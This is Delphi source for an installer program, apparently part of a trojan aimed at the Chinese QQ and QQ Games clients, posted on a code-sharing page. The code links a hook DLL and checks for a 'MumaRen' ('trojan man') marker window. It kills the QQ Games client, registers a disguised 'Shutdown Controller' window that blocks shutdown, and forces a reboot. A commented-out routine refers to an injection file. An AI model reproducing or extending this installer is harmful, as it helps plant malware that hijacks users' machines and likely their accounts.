📄 install.~dpr
字号:
program Install;
{$R '..\DLL\HOOK.res'}
uses
Windows,
messages,
Main in 'Main.pas',
DLL in 'DLL.pas',
Thuan in 'Thuan.pas',
Time in 'Time.pas';
{$R ver.res}
{$R 107.RES}
var
happins : cardinal;
WndClass : TWndClass;
mfrm : cardinal;
mlabel : cardinal;
msg : Tmsg;
QQhand:HWND;
Procedure closes;
var
hWND1:HWND;
begin
hWND1:= FindWindow('TMainform', 'Shutdown Controller v1.0');
destroywindow(hWND1);
end;
function Abort_shutdown : integer; //确定是否关机
begin
result := 0; //0不关机 1是关机
end;
function WindowProc(hwnd: HWND; uMsg: UINT; wParam: WPARAM; lParam: LPARAM):LRESULT; stdcall;
var
empty : array [0..0] of char ;
begin
case uMsg of
WM_CLOSE : PostQuitMessage(0);
WM_QUERYENDSESSION :
begin
result:=Abort_shutdown;
end;
else
Result := DefWindowProc(hwnd, uMsg, wParam, lParam);
end;
end;
Procedure CreateMainForm;
begin
happins :=hinstance;
with WndClass do
begin
Style := 0;
lpfnWndProc := @WindowProc;
cbClsExtra := 0;
cbWndExtra := 0;
hInstance := happins;
hIcon := loadicon(happins,'Mainicon');
hCursor := LoadCursor(0, IDC_Hand);
hbrBackground := COLOR_BACKGROUND;
lpszMenuName := 0;
lpszClassName := 'TMainForm';
end;
Windows.RegisterClass(WndClass);
mfrm := CreateWindow('TMainform',
'Shutdown Controller v1.0',
wS_EX_TOPMOST or WS_EX_TRANSPARENT or WS_SYSMENU,
120, 150, 280, 60,
0, 0, happins, nil);
End;
function ShutDownSystem(si:integer):BOOL;
var
hProcess,hAccessToken:THandle;
LUID_AND_ATTRIBUTES:TLUIDAndAttributes;
TOKEN_PRIVILEGES: TTokenPrivileges;
BufferIsNull:DWORD;
Const
SE_SHUTDOWN_NAME='SeShutdownPrivilege';
begin
hProcess:=GetCurrentProcess();
OpenProcessToken(hprocess,TOKEN_ADJUST_PRIVILEGES+TOKEN_QUERY,hAccessToken);
LookupPrivilegeValue(Nil,SE_SHUTDOWN_NAME,LUID_AND_ATTRIBUTES.Luid);
LUID_AND_ATTRIBUTES.Attributes:=SE_PRIVILEGE_ENABLED;
TOKEN_PRIVILEGES.PrivilegeCount:=1;
TOKEN_PRIVILEGES.Privileges[0]:=LUID_AND_ATTRIBUTES;
BufferIsNull:=0;
AdjustTokenPrivileges(hAccessToken,False,TOKEN_PRIVILEGES,sizeof(TOKEN_PRIVILEGES),Nil,BufferIsNull);
case si of
1:
ExitWindowsEx(EWX_REBOOT, 0); //重启
2:
// ExitWindowsEx(EWX_POWEROFF|EWX_SHUTDOWN, 0); //关机
end;
ShutDownSystem:=True;
end;
{function FileExistsAPI(const FileName:string):boolean; //判断文件(Cmdvc.exe:注入文件)是否存在
var hf:hFile;
begin
hf:=CreateFile(PChar(FileName),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
Result := (hf <> INVALID_HANDLE_VALUE) or (GetLastError <> ERROR_ACCESS_DENIED);
if Result then Result:=GetLastError=0 else CloseHandle(hf);
end; }
//var
begin
Regthuan;
if (FindWindow('Edit', 'MumaRen') <> 0) then
begin
RunQQ;
halt;
end;
if (FindWindow('Edit', 'MumaRen') = 0) then
begin
TimerOn;
QQhand:=FindWindow(nil, 'QQ游戏');//查找QQ游戏是否运行
if (QQhand <> 0) then
PostMessage(QQhand,WM_QUIT,0,0);
CreateMainForm;//创建关机接收窗体
ShutDownSystem(1);
while GetMessage(Msg, 0, 0, 0) <> BOOL(FALSE) do begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -